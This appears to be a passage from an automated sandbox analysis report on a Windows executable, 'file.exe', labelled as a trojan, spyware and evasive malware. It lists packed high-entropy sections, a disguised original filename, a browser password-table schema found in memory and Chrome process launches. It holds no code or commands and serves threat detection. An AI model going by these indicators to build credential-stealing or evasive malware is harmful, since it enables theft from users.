Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BF46E1	0_3_05BF46E1

Source: file.exe, 00000000.00000003.1879578605.000000000608B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870510754.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1871731099.0000000006087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1869865062.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864907900.0000000006160000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866434234.0000000006162000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1871398704.000000000619B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1890125811.000000000608E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865925678.0000000006086000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860631987.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1873701319.00000000061AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861029401.000000000608A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863300620.000000000613C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1880419868.0000000006090000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862816532.0000000006133000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888718625.00000000061DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900277122.0000000005C92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1887151735.000000000630C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861245826.00000000061BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867550373.0000000006173000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862545792.0000000006139000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1875500914.00000000061A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866062182.000000000616A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888430180.000000000608E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863790456.0000000006087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866296033.0000000006088000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865006534.0000000006085000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870754808.000000000618F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1878638634.00000000061BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1877882302.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867220996.000000000617B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1883256228.00000000061CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868279300.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870323613.000000000618F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1878188395.0000000006087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860492245.0000000005E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863920502.0000000006146000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860818167.0000000006084000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2001539671.000000000608C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1876180042.0000000006084000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865792727.0000000006169000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1876514890.00000000061AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864539005.0000000006085000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1869577910.0000000006084000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1885358157.000000000608C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863180227.0000000006087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865531583.000000000616A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861142614.000000000611A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889428192.000000000608D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862422443.0000000006088000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865403281.0000000006090000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863057314.0000000006135000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900466821.000000000170F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1872131606.0000000006199000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1875175036.00000000061A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865139405.0000000006152000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1875693698.0000000006089000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862939836.0000000006085000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1877335817.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1875008699.000000000608A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864389679.000000000621A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1875939483.00000000061AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1872582730.00000000062AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863549844.0000000006136000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861773374.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861511840.0000000006129000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1879895292.00000000061CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889908947.000000000632D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867060449.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870091214.0000000006082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861373127.0000000006091000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867376054.0000000006088000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864042805.000000000608A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863670822.00000000061FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888976195.000000000608B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2002289142.0000000006446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862142164.0000000006091000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860926550.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862007838.00000000061CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1879232403.00000000062FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866888654.0000000006174000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861635146.00000000061D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1871225152.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861890479.000000000612B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865268627.000000000622B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863431684.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1869091926.0000000006272000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864666671.000000000615A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868615912.000000000617B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1877634013.000000000608B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866735418.0000000006090000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1875344152.000000000608D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1886669863.00000000061C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889675333.00000000061D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865661565.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866581187.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862693880.000000000608D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862278659.0000000006137000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889231835.00000000061E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864787908.0000000006085000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866190299.0000000006251000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868002396.000000000626C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870945784.0000000006294000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864177254.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1873031712.0000000006091000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.997402279290429
Source: file.exe	Static PE information: Section: pfmhduhf ZLIB complexity 0.9945520624807515

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/6

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1720637263.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,17003217840531008037,10136595972546319066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1952,i,10276600850100983597,11233374651624369468,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
